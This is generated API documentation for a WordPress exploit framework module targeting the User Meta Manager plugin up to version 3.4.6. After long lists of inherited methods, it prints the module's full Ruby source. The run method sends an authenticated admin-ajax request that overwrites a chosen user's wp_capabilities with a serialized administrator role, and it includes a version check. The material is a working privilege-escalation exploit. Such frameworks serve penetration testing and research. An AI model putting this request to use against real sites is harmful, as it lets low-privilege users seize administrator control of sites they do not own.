Class: Wpxf::Auxiliary::UserMetaManagerPrivilegeEscalation

Inherits:
Module
  • Object
show all
Includes:
Wpxf
Defined in:
lib/wpxf/modules/auxiliary/priv_esc/user_meta_manager_privilege_escalation.rb

Constant Summary

Constants included from WordPress::Options

WordPress::Options::WP_OPTION_CONTENT_DIR

Constants included from Net::HttpOptions

Net::HttpOptions::HTTP_OPTION_BASIC_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_CLIENT_TIMEOUT, Net::HttpOptions::HTTP_OPTION_FOLLOW_REDIRECT, Net::HttpOptions::HTTP_OPTION_HOST, Net::HttpOptions::HTTP_OPTION_HOST_VERIFICATION, Net::HttpOptions::HTTP_OPTION_MAX_CONCURRENCY, Net::HttpOptions::HTTP_OPTION_PEER_VERIFICATION, Net::HttpOptions::HTTP_OPTION_PORT, Net::HttpOptions::HTTP_OPTION_PROXY, Net::HttpOptions::HTTP_OPTION_PROXY_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_SSL, Net::HttpOptions::HTTP_OPTION_TARGET_URI, Net::HttpOptions::HTTP_OPTION_USER_AGENT, Net::HttpOptions::HTTP_OPTION_VHOST

Instance Attribute Summary

Attributes inherited from Module

#active_workspace, #event_emitter, #payload, #session_cookie

Attributes included from Options

#datastore, #options

Instance Method Summary collapse

Methods included from Wpxf

app_path, build_module_list, change_stdout_sync, custom_modules_path, data_directory, databases_path, gemspec, home_directory, load_custom_modules, load_module, modules_path, payloads_path, version

Methods inherited from Module

#aux_module?, #can_execute?, #check_wordpress_and_online, #cleanup, #exploit_module?, #missing_options, #set_option_value, #unset_option

Methods included from Db::Credentials

#store_credentials

Methods included from ModuleAuthentication

#authenticate_with_wordpress

Methods included from WordPress::Urls

#wordpress_url_admin, #wordpress_url_admin_ajax, #wordpress_url_admin_options, #wordpress_url_admin_post, #wordpress_url_admin_profile, #wordpress_url_admin_update, #wordpress_url_atom, #wordpress_url_author, #wordpress_url_comments_post, #wordpress_url_login, #wordpress_url_new_user, #wordpress_url_opml, #wordpress_url_plugin_install, #wordpress_url_plugin_upload, #wordpress_url_plugins, #wordpress_url_post, #wordpress_url_rdf, #wordpress_url_readme, #wordpress_url_rest_api, #wordpress_url_rss, #wordpress_url_sitemap, #wordpress_url_themes, #wordpress_url_uploads, #wordpress_url_wp_content, #wordpress_url_xmlrpc

Methods included from WordPress::Options

#wp_content_dir

Methods included from WordPress::Login

#valid_wordpress_cookie?, #wordpress_login, #wordpress_login_post_body

Methods included from WordPress::Fingerprint

#check_plugin_version_from_changelog, #check_plugin_version_from_readme, #check_theme_version_from_readme, #check_theme_version_from_style, #check_version_from_custom_file, #wordpress_and_online?, #wordpress_version

Methods included from Net::HttpClient

#base_http_headers, #base_uri, #download_file, #execute_delete_request, #execute_get_request, #execute_post_request, #execute_put_request, #execute_queued_requests, #execute_request, #full_uri, #initialize_advanced_options, #initialize_options, #max_http_concurrency, #normalize_relative_uri, #normalize_uri, #queue_request, #target_host, #target_port, #target_uri

Methods included from Net::TyphoeusHelper

#advanced_typhoeus_options, #create_typhoeus_request, #create_typhoeus_request_options, #standard_typhoeus_options

Methods included from Net::UserAgent

#clients_by_frequency, #random_browser_and_os, #random_chrome_platform_string, #random_firefox_platform_string, #random_firefox_version_string, #random_iexplorer_platform_string, #random_opera_platform_string, #random_processor_string, #random_safari_platform_string, #random_time_string, #random_user_agent

Methods included from Versioning::OSVersions

#random_nt_version, #random_osx_version

Methods included from Versioning::BrowserVersions

#random_chrome_build_number, #random_chrome_version, #random_ie_version, #random_opera_version, #random_presto_version, #random_presto_version2, #random_safari_build_number, #random_safari_version, #random_trident_version

Methods included from Options

#all_options_valid?, #get_option, #get_option_value, #missing_options, #normalized_option_value, #option_valid?, #option_value?, #register_advanced_options, #register_evasion_options, #register_option, #register_options, #scoped_option_change, #set_option_value, #unregister_option, #unset_option

Methods included from OutputEmitters

#emit_error, #emit_info, #emit_success, #emit_table, #emit_warning

Methods included from ModuleInfo

#emit_usage_info, #module_author, #module_date, #module_desc, #module_description_preformatted, #module_name, #module_references, #update_info

Constructor Details

#initialize ⇒ UserMetaManagerPrivilegeEscalation

Returns a new instance of UserMetaManagerPrivilegeEscalation.



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# File 'lib/wpxf/modules/auxiliary/priv_esc/user_meta_manager_privilege_escalation.rb', line 6

def initialize
  super

  update_info(
    name: 'User Meta Manager <= 3.4.6 Privilege Escalation',
    desc: %(
      The User Meta Manager plugin, up to and including version
      3.4.6, allows authenticated users of any level to update the
      role of any user to be an administrator.
    ),
    author: [
      'Panagiotis Vagenas', # Vulnerability discovery
      'rastating'           # WPXF module
    ],
    references: [
      ['URL', 'http://seclists.org/bugtraq/2016/Feb/34'],
      ['WPVDB', '8379']
    ],
    date: 'Feb 04 2016'
  )

  register_options([
    IntegerOption.new(
      name: 'user_id',
      desc: 'The ID of the user to make an admin',
      required: true
    )
  ])
end

Instance Method Details

#check ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/priv_esc/user_meta_manager_privilege_escalation.rb', line 44

def check
  check_plugin_version_from_readme('user-meta-manager', '3.4.7')
end

#requires_authentication ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/priv_esc/user_meta_manager_privilege_escalation.rb', line 36

def requires_authentication
  true
end

#run ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/priv_esc/user_meta_manager_privilege_escalation.rb', line 48

def run
  return false unless super

  res = execute_post_request(
    url: wordpress_url_admin_ajax,
    params: {
      'action' => 'umm_switch_action',
      'umm_sub_action' => 'umm_update_user_meta',
      'umm_user' => user_id.to_s
    },
    body: {
      'mode' => 'edit',
      'umm_meta_value[]' => 'a:1:{s:13:"administrator";b:1;}',
      'umm_meta_key[]' => 'wp_capabilities'
    },
    cookie: session_cookie
  )

  if res.code == 200 && res.body =~ /Meta data successfully updated/i
    emit_success "User #{user_id} now has full admin rights"
    return true
  else
    emit_error "Response code: #{res.code}", true
    emit_error "Response body: #{res.body}", true
    emit_error 'Failed to escalate privileges'
    return false
  end
end

#user_id ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/priv_esc/user_meta_manager_privilege_escalation.rb', line 40

def user_id
  normalized_option_value('user_id')
end